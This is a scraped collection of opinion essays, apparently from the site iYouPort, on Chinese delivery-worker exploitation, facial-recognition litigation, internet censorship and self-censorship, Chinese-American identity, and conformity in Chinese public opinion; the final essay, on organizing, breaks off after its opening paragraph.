月薪1532.00美元(1万元)的梦想是一个强大的梦想，企业正是用它来吸引看似无穷无尽的潜在工人。这也是吸引阿飞的原因，他离开肯德基加入美团，成为一名送餐司机。阿飞告诉《人物》杂志，刚开始的时候，他确实达到了这个目标—— 一边每天工作9小时，一边接受别人不愿意干的长途送货工作。但最终，他无法保持这样的速度，收入也随之下降，有时一个月的收入最低也不到1072美元（7000元人民币）。实际上，这个预期首先是不现实的：只有1%的配送员月薪为1532美元，而超过一半的配送员月薪还不到766美元（5000元人民币）。

中国的送餐行业是由600万庞大而廉价的劳动力所推动的，他们中的大多数是年轻人，他们从农村搬到中国快节奏的城市，希望为自己打造更好的生活。由于大多数快递员都是以兼职或全职独立承包商的身份受雇，他们没有获得保险或工伤赔偿。他们也没有真正的议价能力，因为在中国，独立工会是被禁止的。工人们最希望得到的是一个有同情心的雇主。否则，他们可以发动非法罢工，组织非正式的互助网络来相互支持，并分享有关新的奖金政策和廉价自行车租赁的信息。

当然，罢工并非必需有工会，但有工会会更好。如果您错过了《工运新时代：在供应链中团结起来》

然而，需要注意的是，中国送餐平台剥削工人的因素绝非中国独有。

即使在工会仍然合法可行的地方，强大的科技巨头公司也在深入剥夺工人的代理权。例如，在美国，亚马逊使用监视和人工智能系统来评估和监控工人。据《华盛顿邮报》报道，该公司用来让工人更高效地打包的算法，被不无讽刺地称为“黑客帝国”。

在这里看到《你的老板怎么比网警还厉害？》

亚马逊投资了技术来追踪和压制公司的劳工组织工作，甚至还发布了情报分析师的招聘信息，以监控“劳工组织威胁”。

美国的劳工运动历史《一路的腥风血雨：劳工运动不为人知的故事》

4月早些时候，亚马逊在阿拉巴马州的一个仓库的员工投票反对该设施的员工组织工会。这就需要提出一个问题。这是一个公平的投票吗？最终，约有一半符合条件的仓库工人投了弃权票。就像美团的司机由所谓的“超级大脑”管理、饿了么的由其“方舟”治理一样，亚马逊的工人在公司的严密监视下，还能对自己的决定有充分的代理权吗？

今天，在算法劳动体系下受害最深的人是最边缘化的人：在中国，这意味着农村移民、体力劳动者、和来自中国社会最底层的青年男女。但这种情况可能不会长久，因为白领工人也越来越多地受到同样的算法暴政的影响。

许多公司依靠配备所谓的“智能经理”的办公自动化软件来考勤、分配任务，声称“提高员工效率”。阿里巴巴的职场应用DingTalk已经在中国各地的公司中无处不在，它配备了地理追踪技术来监控员工的行踪。

今年1月，杭州一家公司被曝出使用装有传感器的坐垫来监测员工的心率和姿势，确保他们没有偷懒。

“我感觉自己就像裸体一样”，一位发现自己被智能坐垫监控的员工说。这种趋势不可能在短期内减弱。从2017年到2019年，中国数字化管理工具市场从1,072,041,166美元（70亿元人民币）增长到超过1,684,636,118美元（110亿元人民币），预计到明年将超过3,062,974,761美元（200亿元人民币）。

随着管理快递员生活的各类自动化系统开始悄悄进入其他行业，我们有必要认识到，这种趋势是结构性的，是由普遍存在的、并非中国独有的因素促成的，即：科技巨头的权力不受制约，将速度和效率置于人的生命之上的有毒工作文化。

如果不进行系统性改革，科技公司对员工的剥削最终将剥夺他们最好的品质。具有讽刺意味的是，这些品质正是对任何公司的成功都至关重要的技能：创造力、协作能力以及信任和同理心的能力。〇

‘I want my blood-and-sweat money’: How China’s food delivery apps exploit drivers

原文

"抵制面部识别"：中国教授起诉野生动物园 - iYouPort

关于中国社会

打了引号。是的，这不是抵制面部识别本身，也不是抵制面部识别最危险的用例，但的确是来自中国的一个巨大进步：人们开始反抗被强加的数据收集了

「图」

「图」

和其他所有企业媒体一样，BBC拒绝承认《中国的反乌托邦监视国家是美国制造的》。

一位大学教授正在起诉一个野生动物园，以抵制其加强的人脸识别，这是中国快速使用该技术的首批重大法律挑战之一。

这是一个已经引起激烈争论的问题。

郭兵教授说，杭州野生动物园“突然通过了面部识别登记成为游客入场条件的强制性要求”，该园“通过强制收集游客的私人数据违反了消费者保护法”。

官媒《中国日报》报道，自那时以来，该公园一直在让游客在以前使用的指纹扫描系统和高科技面部识别扫描之间做出妥协。

该公园只是在其入口引入面部识别技术的众多机构之一。

在过去的五年中，中国一直在积极地推出面部识别技术，声称为了“提高安全性”，又继续声称为人们的生活“带来便利”，特别是在电子支付方面。

- 《便利的暴政》

但是，自从郭教授质疑它的必要性以来，关于公民大量数据被收集和储存的讨论越来越多。

这个公园发生了什么？

郭教授是中国东部浙江科技大学的法学教授，是杭州野生动物园的季票持有者。

在过去的几年中，他一直在使用指纹识别进入该公园。但是在去年10月17日，他收到一条消息，通知他公园的系统已经升级，对于游客来说，使用面部识别系统注册个人身份详细信息已经成为强制性要求。

他对中国网站澎湃新闻说："我显然对收集面部数据表示不满意"。他说，他愿意继续用自己的指纹进行扫描，但被告知这是不可能的。（看起来他不是在本质上抵制生物识别数据收集）

当他说他想取消他的卡时，被告知他将不会获得全额退款。

因此，10月28日，他将公园告上法庭。

官方的《中国日报》说，他的案子已被阜阳区人民法院受理，是"中国首例涉及面部识别的案件"。报道称此案仍在进行中。

他会成功吗？

牛津大学中国商法研究员 Mimi Zou 博士说，如果郭教授继续追究此案，该案很可能会被驳回。

她说，目前，"没有任何具有法律约束力的文书可以直接处理他的主张"，公园强制收集他的生物特征数据作为进入条件，因此使他的同意毫无意义。

她指出，在涉及中国人数据或隐私权的法律保护的商业行为者的案件中，国家监视是"房间里的大象"。

"在这个领域没有个人隐私之类的东西，不仅在中国。"

该案在中国网络引起广泛辩论

如今，有关面部识别的问题已经进入法庭，中国的社交网络对此技术进行了大量讨论。

微博用户注意到“现在很多地方都在强行收集个人信息”。一位用户评论说，他们担心与之相关的未来“会有风险”，这条内容已收到2,000个赞。

另一位用户补充说：“在中国，人们的隐私没有受到保护，非法收集面部识别信息非常可怕。”

还有一位用户说：“技术改变了生活，给人们的生活带来了便利。但是，如果发生安全漏洞，您绝对要保持谨慎。”

面部识别监视有多广泛？

面部识别技术在中国已经存在很多年了。2017年，它被广泛纳入该国的监视网络，并因帮助该国 “识别和捕获逃犯” 而受到赞扬。

去年，媒体指出，由于面部识别，警察能够在一场音乐会中从6万群众中找出一名逃犯。同年，配备该技术的警察能够识别戴太阳镜的犯罪嫌疑人。

但去年开始，它在体育馆、办公楼甚至学校等私人机构中的推广更为积极。

在商店和超级市场中用于支付的面部识别技术已越来越成为一种规范，取代了扫描附加在移动应用程序上的QR码的早期趋势。

它甚至已经作为娱乐工具在年轻人中普及。

8月下旬，一个名为Zao的移动应用程序成为头条新闻，因为它可以精美地打印某人的脸，并将其几乎无缝地贴在名人的身上，使人们看起来像是自己喜欢的电影或电视节目中的角色。

但是，在Zao推出一周之内，在用户注意到该应用程序的条款和条件后，它已从在线商店中删除，条款中写着：“开发人员拥有永久使用该应用程序上创建的任何图像的全球性权利”。

不会放慢脚步

面部识别的势头在中国不太可能放慢。官方媒体写了很多关于 “成功使用” 面部识别技术来抓捕中国的“猎狐行动”中数百名罪犯的文章。

此外，中国表示将使用高度复杂的“天网”监视网络，在2020年积极扩展其监视业务。

2017年，中国约有1亿7千万台CCTV摄像机；而到去年年底已经有4亿台新监视相机投入使用，其中许多相机都配备了人工智能和面部识别功能。〇

China facial recognition: Law professor sues wildlife park

原文

In China: The Other Side of Content Startups ✍ - iYouPort

关于中国社会

Ultimately everyone can see is what society looks like today. Everyone seems busy without producing anything of value. The haze of Internet content products makes people only want to wear masks. Welcome to China

---

「图」

「图」

“I understand them, but I don’t think they’re right,” was Chris’s last word in the interview. Chris, from northern Europe, has a good command of Chinese and a keen interest in the Internet. China is the world’s largest Internet market, and Chris has had a fantastic journey here.

Ever since Chinese Premier Li Keqiang called out the first sentence, “Internet start-ups boost the economy,” the term “content start-ups” has caught on in China. Under the heavy censorship, groups of start-ups have followed. But only a few of them success to survice and grow. How do they survive? That’s what Chris is interested in.

By chance, Chris reached out to an invitation from a Chinese content producer. Their slogan was “spreading new knowledge.” Chris thought it was a good goal. “The concentration of ignorance on the Chinese web is always so high that people need more real knowledge to enrich themselves,” he said. “At first I liked their project, so I jumped in, but it wasn’t something I imagined.”

Chris’s mastery of Chinese makes him look Chinese and has never

been in doubt. Almost 1,000 yuan ($155) is not a competitive salary for an article, but it's good in the eyes of part-time Chinese writers. "Thanks to my speed, I'm afraid it will be taken by late. A lot of people are trying to squeeze in, and you can feel something like a chocolate grab at Christmas in prison," says Chris with a smile.

But the editor-in-chief's first words startled him, "Avoiding everything related to politics." In Chris's point of view, there was little that could be counted outside politics. He realized that the Chinese have different understanding of the concept of "politics" from him.

"They explain, quite proudly, that this is the basis for a content entrepreneur to survive," he said. "I sense **the severity of the self-censorship situation, and expressing fear with pride is proof enough that people are already struggling to feel the roots of their emotions."**

Chris had been working here for more than two weeks when I spoke to him, although none had been "productive". The process was such that writers chose topics in the newspaper, wrote down "knowledge points" and discussion logic, screened by the editorial department to determine the appropriate content, and told the subject to write specific words. The word limit was around one thousand words. What is called "writing" is nothing more than retelling the selected article or book in the simplest terms, refusing to create processing and comment.

It is not easy, as we all know: simplification means blurring and even variation. How to make a complex truth clear in the simplest words in the fewest number of words is much more difficult than discussing it in detail without restrictions. It can easily be misinterpreted, one-sided or paranoid. It is not academic, it's a contrary to the concept of knowledge. But this is what content entrepreneurs in China are after.

The editor gave him four opinions: 1. The source is not well-known; 2. The theory has been published for more than three months; 3. The wording is not popular; 4. It is too esoteric to be of value.

As for the source, the editor said, “The publisher of the theory must be a celebrity.” Chris was puzzled, mainly because he thought his choice of academics from professional research sources like the University of Colorado, Stanford University, and the University of Illinois was persuasive enough, but the editor pointed out, “These are places where our readers don’t necessarily know that you need to stare at the KOLs on our Internet to count them as celebrities.”

“They gave a list,” says Chris, a group of public intellectuals active on Chinese microblogs. The editor-in-chief points out — these people are well-known bigwigs. They have a high value and must not miss any of the comments they make. “Even bullshits has to be collected because they are well-known,” says Chris.

The fans economy is not a single-tier business. Second dealers who switch hands on the celebrity effect can also get profit from it. Some so-called content start-ups are hooked up under the celebrity aura. It is hard to understand that the project’s purpose is to enrich people’s knowledge. Knowledge is what about right and wrong, and the relevance to the source is not high. Moreover, the Chinese LAN KOLs, who are considered as celebrities, is not deep enough to see the truth and creativity. These components of value are long gone under censorship.

But it is likely to be part of a “security measure.” The comments of China’s online celebrities, who exist under censorship and are widely publicized, suggest the security scope of censorship.

Chris does not understand the limit of “no more than three months”. For example, telecom scams are a hot topic at the moment, reminding people how to defend against scams should be a time-sensitive subject. But it would miss a lot of value if selected in-depth analytic scam articles were published longer than three months and were considered invalid, regardless of the practicality of the theory itself at the moment. “It’s called Internet thinking. Because we need to fill in the time of publication of the relevant article, being new is one of the highlights….. How many people do you think can read the history of an account on the Internet? Even if the account is famous.”

‘Internet thinking’ is indeed characterised by a strong sense of

timeliness. Today's pursuit of timeliness is unprecedented. But many theories are not out of date, and quite a few of the "new works" are based on classic theories, and even most of them have few new insights. To some extent, people acquire only a sense of timeliness in disguise. But that's not what Chinese content entrepreneurs are thinking about. They just need to know how to make more money.

In the editor's words, "The more stupid the public is, the easier we can make it." That's the 3 and 4 arguments of why he rejects Chris. Chris's Chinese language is proficient at writing medium level articles. But the editor's sense of smell is also strong enough, he says at first glance: "Your words have a heavy sense of translation, it won't be popular." Chris laughs at the fact that his thinking is still in English. It also makes him feel that articles popular on WeChat in China are too limited. "A conservatism steeped in ancient national culture is a shackle that inhibits innovation," he says.

But obviously, conservative things have a market in China, and innovation is seen as unorthodox. So probably no one will care what you say. Chris believes that these entrepreneurs still have potential. Their behavior suggests that they are sensitive to the environment. They just choose the wrong direction between change and adaptation.

What is good content? — Content that people are interested in knowing + content that people think is right. It has little to do with the actual value of the content itself, or even with its correctness. If people's perceptions are severely subverted, it is probably hard to be justified by any number of reliable arguments. **This is not caused by the Internet medium. The Internet simply speeds up your negation, as people's access is forced to make choices in a shorter time.** Intuition becomes almost the whole basis, and existing perceptions and preferences are the basis of intuition.

Chris get this in a work experience that was unique to him. He quoted a Chinese joke on the Internet to express the question: "Do you want fire? You have to learn to please idiots first." This seemingly paranoid simplification is enough to deconstruct in a thousand words.

The Internet can be a treasure trove of knowledge, because information is readily available. It can also be a strength of prejudice, because all sorts of screening and screening are ubiquitous. The content you can easily access is within your preferences. Yet in China's local area networks, there is only one result: chronic suicide. Because You Have No Choice. Filter comes from censorship.

Chris said that "Helplessness is understandable, but pandering to mistakes cannot be accepted."

The rapid tightening of censorship requirements in China has plunged local internet companies into a high-stakes game of survival, according to a recent article in The Globe and Mail of Canada, in which executives know that companies face closure if they allow banned content to be published. "It is no exaggeration to say that any company could die overnight," the VP of Miaopai was quoted as saying.

This is only the first layer of censorship's overall effect. In China, censorship rules are made by gray-haired Internet laymen who follow the Communist Party's traditional ideology. This highly conservative ideology rejects everything new and is out of step with the perceptions and preferences of young people who dominate the Internet. What people call the generation gap in China does not seem to be sufficient to reflect this phenomenon. The result, to the full satisfaction of these policymakers, is to turn China's large local area network into a tomb.

The second layer of censorship is the fear from Chinese internet companies. On the one hand, their products attract younger users; on the other hand, it is the older conservative political authorities who determine their survival. Without user support, the platform will surely wither; if censors are offended, it will lead to sudden death. As a result, these Internet companies have a two-pronged strategy: trying to curry favor with censors, on the one hand, fostering the habit of users and content producers of living under the rigors of censorship.

The result of the first approach is that, in addition to power-money relationships, it is more likely that these companies will trade users

private data for the undead grace of those in power. This is an active collaboration. Although this part of the transaction has never been revealed in China, the vast majority of Internet users have the relevant experience: the removal of the post is not the end, but the secret police knocking on your door. The removal of the post is done by the platform, while the location tracking of the user is done by the thought police. So even if no specific secret of a public-private surveillance partnership is revealed, no one in China will doubt its existence.

As a result of these two effects, the broader user base has long been exposed to residues that are filtered by both censorship and self-censorship. People slowly begin to feel that there is only residue enough in the world. After all, one cannot know what one does not know. **The result is that ignorance and backwardness, conservatism and limitation are created unconsciously.**

The third effect of censorship is a broader fear, not only of being censored, of being caught, but being out of step with the people around you, a sense of isolation that forces those with innovative ideas to remain silent.

Ultimately everyone can see is what society looks like today. It seems to lack for nothing. Almost everything popular internationally has been cloned inside the GFW. The society works like an antiquated machine covered in rust and cobwebs, unconsciously mechanically. Everyone seems busy without producing anything of value. The haze of Internet content products makes people only want to wear masks.

原文

Mr.Statelessness? 夹缝中的美国华裔和中国移民爱好者 - iYouPort

关于中国社会

FoxNews事件出现时我就准备做这个题目，还没来得及进入采访，纽约时报的亚裔员工又曝出了其亲历的歧视事件，瞬间刷爆了英文网络。

花了几个小时查看留言，发现共鸣者的确不少。一般选题除了要考虑时效之外，还需要做相关市场分析，Fox应该也不例外，反过来看就是，这个节目中所展示的对华裔的态度在当下美国社会群体中能获得可观的共识，至少贴近该节目的收视预期。

「图」

「图」

在互联网上，关于歧视问题的感知曾经给我印象很深的一件事是，大概两年前，一位华裔移民在twitter上表示不喜欢中国的社交网络，并不是因为GFW，“而是那里的人一口一个支那猪”。该消息获得了很多转发和中英文留言，大多数人表示了支持。在中国，自认为聪明的人喜欢这样称那些相比下糊涂的人，而亚裔美国人对这个词的敏感或能映现他们在现实社会中所经历的一些不快。

被歧视激怒的纽约时报记者发布的公开信证实了上述大部分推测，他说，“这并不是我第一次遇到种族侮辱，问问任何一个亚裔美国人，他们都会立刻回忆起在校园里被嘲讽的情形，抑或在街上或杂货店里的恼人遭遇……”，他还说，“我们许多人每天都在竭力应对这种无处不在的异已感。不论我们从事什么职业，有多么成功，和谁交朋友，我们都不属于这里……依然常常觉得自己像个外人”。

网络上的英文留言中还提到了一种“隐晦”的歧视，就是问“你从哪里来的？或者夸一个人的英语水平好”，如果对方真的认为亚裔美国人也是美国人的话，还会为他们的英语水平表示惊讶吗？尽管是单方面描述且没有充分的语境，也足够能体察到其中蕴含的对“我的确是美国

人的强调”。

这句话正是绝大多数相关留言与这位记者存在的一个鲜明的共同点，“我是美国人”，潜台词是“我不是中国人”。然而，有中国网友对此称之为“活该”，理由是“那些混迹中国社交网络的在美华裔一样瞧不起中国土著，并在此间获得身份优越感，老移民也瞧不上新移民”，换句话说就是，认为他们争取的并非全面平等，而是自己在白人（上等阶层）眼中的地位。

这也是一种组块思维，上述现象存在不代表纽约时报这位记者就是其中之一。人们所表达的只是一种身份认同需求，身份认同由两部分组成，一个人对于自我特性的表现，以及与某一群体之间所共有观念（国籍或者文化）的表现，如果缺乏互相认同便难以在心理上成立。随着全球化、欧洲一体化和移民潮的发展，身份认同问题越来越困扰社会、国家、民族、社群和个人。

不过社会支配理论有可能解释这种现象：具有高社会支配取向的个人把自己的群体看作与其它群体“不同”，也就是高于其他群体，并希望自己的群体能支配社会，逐层类推。个人的社会支配取向的偏好是不一样的，身份较低的人有可能通过“把等级制合法化”从而让自己能够喜欢高等级身份的外群体。也就是说，等级制成为了相关思考的一个基础，不论是歧视还是被歧视。

「图」

「图」

换个角度看，如果他们是日本人，也有着一张亚裔的面孔，但来自民主国家，还需要这样强调吗？我没有更多时间去采访来自民主国家的亚洲移民，但接触到了一些仍生活在中国的移民爱好者，因为该消息并没有在中文网络舆论场引起显著的波澜，它给我的印象是中国人不在乎，事实似乎也能证明这点。一些回复者表示，能生活在美国就是终极目标，歧视不是问题；还有人表示，“中国人被歧视是自找，他们和他们的祖父辈都甘心当奴才，在哪都是翻不了身的，不同的是，生活在美国至少比生活在中国安全太多了”；“有机会获得尊重和不给自己这样的机会有着天壤之别”……

还有一些正在准备办理移民的中国人表示，不愿对此发表意见，还有人直言，不希望自己的家人尤其是孩子看的这样的消息，认为很难在此基础上继续强调移民的重要性。

当下的中国的确不存在一个具有广泛吸引力的身份认同，无法真正将国内各种不同的声音团结在一起，持反对立场的人喜欢称中国为“你国”，拒绝承认自己的中国籍身份，他们同时也对移民有很高的期待，甚至对美国的认识颇为理想化；海外政治避难身份的华裔在美国土著眼中同样是华裔，很可能也没有获得足够的美国籍心理满足感，而他们自己的群体又没能建立起一个独立的文化体系，于是处于一种夹缝状态；还有人这样评价：华裔美国人（尤其是新移民）是一个奇怪的群体，他们在使用中国的社会价值观、思维和行为习惯表达“我爱美国”。

虽然华裔群体内部存在很大差异，各自状况不同，但仍可以这样说，如果中国的政治状况持续，这部分群体的身份认同危机也很可能将会持续。

不宽容则歧视，大部分共产主义者和无神论者都是政治不宽容的，宽容（tolerance）和持久的人格特质息息相关，刻板印象、心理不安全感、教条主义和缺乏信任的人格都会造成不宽容，无法解决这些问题就无法解决歧视问题，也就是说，在中国生活的和秉持中国文化的群体尤其难以走出歧视和被歧视的怪圈，看看中文舆论对LGBT、穆斯林和黑人的态度就能了解。当下被恐怖主义阴云笼罩的欧美境况也很危险。

「图」

「图」

关于种族主义、偏见和歧视的研究很多都来自美国。几个世纪以来，各种各样的移民进入美国，导致美国的种族问题比世界上其他地方出现得更早。很多用于解释欧洲社会中的种族主义的理论，也同样适用于美国。

很多评论提供了美国华裔的增长数据和华裔群体做出的卓越成就为凭据，认为部分华裔的政治影响力已足够与白人中产“平起平坐”，他们在一定程度上是对的，但没能解决问题，因为没有触及到歧视问题的根源，它既是政治学问题也是心理学问题。

一提到种族偏见人们都会想到刻板印象，Fox的节目主持人Jesse Watters所采用的空手道、双节棍和蹩脚英语等标签性“搞笑”元素就是刻板印象的体现，然而它只是歧视问题的一个结果，其根源涉及强烈的情绪过程。

情绪因素发挥关键作用意味着人们可能诉诸信念来为自己情绪驱动的行为作出后验的辩护。比如在地铁里，人们可能会做出厌恶的反应，避开其他种族成员的身边，当注意到自己这样的行为时，他们才会采取刻板印象来为此做辩护。纽约时报的记者没有详细描述“被挡了路”的细节，推测认为很可能就是这样的过程。

相关种族主义的诸多标准理论都将个人虚化处理了，只集中在可以经由调查数据或者采访汇总的公开态度上，而没有考虑人们做出种族决策的心理过程。神经成像技术早已证实了这点，通过给被试观看不同种族的人物照片和视频，完全可以诱导出足够明显的骄傲、嫉妒、同情或厌恶的情绪。

「图」

「图」

经典理论中最为尖刻的当属权威主义人格理论，它将右翼权威主义者压缩成三种人格症候群；1、权威屈从（authoritarian submission），意思是一种强烈的屈从于权威的心理趋势，如上述提到的甘心为奴；2、权威进攻（authoritarian aggression），就是对外群体的敌意，比如白人至上主义、雅利安人是高尚的纯种等思想；3、成规主义（Conventionalism ），即遵从社会规范，不愿意挑战“既有事物”。

右翼权威主义者有很多不满，他们对少数族裔怀有敌意，总是埋怨机会不公，但他们却往往没有意识到自己是相对自我中心主义的。而且他们似乎也不希望去发现这点。相对来说，他们总是乐意帮助政府去迫害你可以想象得到的几乎任何群体——包括他们自己。

也就是说，政治领导人（包括其他权威级渠道）所促成的政治气候是一种最直接的刺激，就如本届美国大选，特朗普调动了这一群体潜藏已久的兴奋，他们需要一个理由为自己丧失的优越感或者潜在的被威胁到的利益作出解释，那么少数族裔就成为了最佳替罪羊。目前持反移民立场的欧洲右翼也能套用这种解释，比如德国的AfD（选择党）。

联合国人权事务高级专员扎伊德说，假如特朗普当选为美国下届总统，“从国际视野来看他将是一个危险的总统”。其实从美国视角上也一样。

恐怖主义是现实，它的危害远不限于其本身，太多次生效应早已显

现，互联网反恐对言论自由和隐私安全的侵犯、监视社会的扩张、以及种族偏见。日前，美国最高法院同意听取一些穆斯林和其他移民能否控告前司法部长约翰·阿什特克罗夫特和其他官员的讼词。这些人在美国遭受9/11恐怖袭击后被拘押了数月，并且是基于自己的种族、宗教和移民身份而被当作恐怖分子嫌疑人关押起来的，并在拘押期间受到了虐待，随后遭到遣返……

不过数据显示，911事件后，很多民意调查可证，人们对穆斯林的消极看法存在很大差异，或许意味着在这一议题上美国尚且缺乏一个明确而稳定的偏好。如果特朗普赢得选举，将会在很大程度上定格社会偏见。虽然华裔不存在这一问题，但很可能会受到对少数族裔态度的波及。

完全可以体会不少华裔的委屈，尤其是新移民，他们中很多人并不认同威权政府，然而中国的国际形象就写在他们脸上。对于夹缝中的华裔“文化难民”来说，如果希望自己真正获得踏实的身份认同，所需要思考的东西还有很多。移民爱好者也一样。

原文

Why Chinese society looks 'silly' - iYouPort

关于中国社会

I talked to a friend last month about why the alt-right is more likely to be mobilised by groups and why it is so difficult for many who support justice to join forces. One made a natural reference to the Cultural Revolution and also brought up the old clichés: Will the Cultural Revolution come again?

The question was wrong from the beginning, because there was no agreement on how to define the Cultural Revolution. Most people admit that there will be no large-scale social movements supported by the pure spiritual forces of the Mao era in China today; but at the same time it cannot be denied that the Xi regime can spend money on almost identical movements to achieve almost identical effects.

The reason: the “Silliness” of this society as a whole.

「图」

「图」

The reason for quoting “silliness” is that it’s not true. At least not for everyone. The bottom class is silly, the middle class pretends to be silly, and the rich class look on. This is a joke I made years ago, and it still seems not to be out of date. A simple recent example is the Coaliation’s bombing of Syria.

Many Chinese state-run media workers are ‘privately’ highly supportive and excited about the coalition bombing. They say the same thing as those in power, interpreting civilian deaths as so-called collateral damage. And this is the opposite of the attitude expressed by the Communist Foreign Ministry. It is arguably the

most interesting part of the story.

Another quote. The reason for quoting ‘privately’ is that these people have never been ‘private’ except in their dreams. Because they have been afraid all along, they have even rationalized their fear so that when the urge for self-censorship strikes, they cannot tell what they are really thinking.

This is the result of their long-standing environment. They do not know which one close to them is a crony of the leader, a ideological spy, or a voluntary 50-Cent-Party addicted to snitching. In other words, all their expressions we can see are purposive based on the intentions of their leaders, and on the hints issued by their working units. In short: The Chinese authorities may well have intended to support the bombing of Syria, at least some of the leaders of the official media speculate that. The Chinese authorities’ diplomatic opposition is nothing more than a consistent nationalist anti-American stance, which, like Putin, is the root of the Communist Party’s regime.

On the other hand, some Chinese dissident scholars were also opposed to the war because they understood that it was not a war for justice, but a killing of interests, a dirty proxy war. But their expression has been hijacked by their public roles – they seem to have to speak out against the Chinese authorities on everything in order to preserve the solidity of their own standing in the court of public opinion.

In other words, they are no longer able to judge on the facts, and fidelity to the facts is the basis of intellectuals.

Are they stupid? Definitely not. Are those official journalists stupid? No. There is no serious asymmetry in information, many people have been actively collecting the latest international information and disseminating it to them. But useless, precisely because they are not stupid – **note that silly and stupid are completely different, the former is unconscious and can be completely diluted and corrected by information supplement; the latter is conscious, there is no way to correct it.**

These two categories are cited because, taken together, they form a

large part of the elite class of Chinese public opinion. Most other people are imitating their views to construct their own opinions. It is them who determine the perception of the majority of the Chinese people, the so-called opinion tendencies of the Chinese public opinion field as we can see.

> Most people are other people. Their thoughts are someone else's opinions, their lives a mimicry, their passions a quotation — Oscar Wilde

There will always be very few people with creative ideas and ground-breaking creativity. **These minorities are not the objects of popular imitation; on the contrary, they are the ones who are despised and ostracized by the masses.**

Last month, aeon published an article entitled 'Say goodbye to the information age: it's all about reputation now', which says that in our highly interconnected, liberal democracies, the undervalued paradox of knowledge plays a key role: the more information that flows, the more we rely on so-called 'reputational devices' to evaluate it.

The reason for this paradox is that the vast amount of information and knowledge acquired today does not give us cognitive autonomy. Rather, it makes us more dependent on other people's assessment and judgment of information. People's relationship with knowledge is undergoing a paradigm shift from the information age to the era of reputation. Information is valuable only after it has been filtered, evaluated, and commented upon by others.

Reputation, then, is the central pillar of today's collective wisdom. It is the gatekeeper of knowledge, the key to which is held by others. The way in which intellectual authority is established makes us dependent on the inevitable prejudices of others, of which most of us know nothing…

This is nothing new. In a society as long closed and autistic as China's, so to speak, it has always been. It is simply the explosion of information on the internet that has made the phenomenon highly prominent.

In the 1980s, there was a saying in China called the “Printing effect”: meaning that any opinion, if it was printed in type, could easily be accepted by the general public. Typewriting meant “Authority”. Funny? Let the printing press turn a fool into a spokesman for the truth? But in China, that’s what people thought at the time.

Now this effect is mirrored on the Internet – as long as it’s a “celebrity” column, whatever it says, it’s widely recognisable. **The media values visibility above truth or even logic**.

In a way, conformity has become a popular way of life.

Social media, which ‘bring together global wisdom’, has become one of the most mediocre and boring places in the world, especially in Chinese. The platitudes, including overseas Chinese dissidents, are using old patterns, focusing on their own influence promotion within a narrow circle of Chinese social media, indulging in repetition of common sense, and completely unable to perceive their combined value…

“Pop” is a paradox that means mediocrity, lack of depth, and even going out of date and error.The fans economy has caused many people to become perverted, faking, exaggerating, and babbling in order to get the attention – reputation. In Chinese tweets, the most influential, the highest number of retweets are these kinds of things.

As Wilde said more than a hundred years ago: Popularity is the one insult I have never suffered. Now, this insult has become the desire of the vast majority of people.

With the help of the internet, the desire for insults has become almost the biggest “consensus” between information producers and information consumers after the media switched from one-way transmission to a two-way option.

The result of the celebrity monopoly on news and commentary is that there is less and less valuable content, and gossip and vulgarity severely dilute the true social value of the event itself. A mass of media spends an inordinate amount of time studying Julian Assange’s hair, ignoring the amazing value of the new model of

media revolution brought about by Wikileaks. Speculation about Edward Snowden's girlfriend and so-called "motive" is better known than the facts of mass surveillance; Ai Weiwei's marital status and upbringing are almost well known, but few understand the true meaning of all his creations…

This is how the authority created by the media becomes worthless, unable to form a positive dynamic. How absurd is it that those who contribute are overwhelmed by their hair and girlfriends. The media can brazenly argue that eye-catching is profit and traffic is God. They think that information consumers are only interested in their hair and girlfriends?

Yes, **people like authority, trust authority, and even rely on authority. Authoritarian identities are especially prominent in China. Some people who begin to be wary of and opposed to Communist party political authority suddenly find that the spirit on which they rely for their survival – the position of the authority – has been vacated, but they show neither excitement nor the ease of finally being free, but are busy filling the void and finding themselves a new authority to identify with.**

This is an interesting social landscape. From working unit leaders to professors, from social classes to the aura of a prestigious university, people have been given authority; they are trusted and subjugated to. On social media, authority can even be the creator of a group chat: the group owner! The group leader is thought be irrefutable. The paternalism continues to flourish in the virtual world.

What about truth? Who cares.

And what's more, the so-called tradition of favor society adds another layer of favor to the reputation of authority here. I used to say rudely that in China, people are more willing to trust a good-looking dog than they really are. That's no joke.

In other words, if you can't build a broad network of favor in the first place, it's best not to work on promoting the truth, such as intellectuals, the media, political observers, etc., or you'll get

trampled on. The most benign result is to be ignored.

The same is true for all who do the above in China, and why you often see them playing dumb, whether for the maintenance of a public role or the consolidation of a network of relationships. **Many people are not stupid, they are not ignorant, but they will largely fail in their basic duty of defending the truth as an intellectual.**

A few days ago, the South China Morning Post published an articlesaying that China had long blocked international social media platforms in order to eliminate the possible influence of 'foreign ideas' on the Chinese and thus maintain a monopoly on the influence of Communist ideas.

The report says this continued censorship is likely to backfire. The Chinese economy is sure to be hit hard by the continued use of GFW. At the same time, GFW is hampering the innovation of China's own scientists, who are unable to access many of the world's latest trends and ideas in the first place. There is no doubt that China's innovation and creative industries will be badly behind the world…

It's a clich, and it's not a novel idea, because it just goes to part of the reason why Chinese society seems silly. A small part of it. But it has always been an international understanding of China by big and small Internet freedom groups. So they have done as much as they can to help open the eyes of the Chinese people, as the GreatFire projects. I can assure you that it provides all the tools that are theoretically needed to address the "silliness" that prevails in Chinese society.

Like many of my European friends with positive mentalities, I have always believed that some of the cognitive problems of the Chinese stem from the GFW's blockage – caused by the lack of freedom of information, so our #openChina campaign aims to break that barrier and expose people to more and more comprehensive information. But so far, our work has been a failure.

Facts have shown that people only like to collect information in line with their original point of view, and are not interested in

expanding their knowledge at all, which means not only that the echo wall effect is not negligible, but also that when the era of fame meets the favor society, the truth is dying.

The Chinese are not all stupid. There are a lot of smart people in Chinese society, but this intelligence is distorted by all kinds of so-called philosophy of survival and kidnapped by ideology. They can no longer play a role in the basic principle of judging facts, and they have become the authority in some fields and the belief of the vast majority of Chinese people who are highly dependent on authority.

This is why Chinese society seems “silly” on the surface. This is a more difficult problem to solve than really stupid.

原文

Why Is It So Hard to Get Organized? - iYouPort

关于中国社会

By contrast, almost all of China's public-opinion movements have a clear claim to unanimity, making it difficult to connect more forces to one immediate end, often resulting in failure due to rapid fragmentation.

「图」

「图」

What do you think when it comes to organizing? Protesting on the street, labor unions, opposition parties, NGOs. Exactly, even online chat groups count, in theory, as O2O, turning virtual communities into real-world organizations. That is why the Chinese authorities are wary of group chats and have created the ironic "group owner take responsibility" rule. Their vigilance is superfluous. It is difficult for the Chinese to organize.

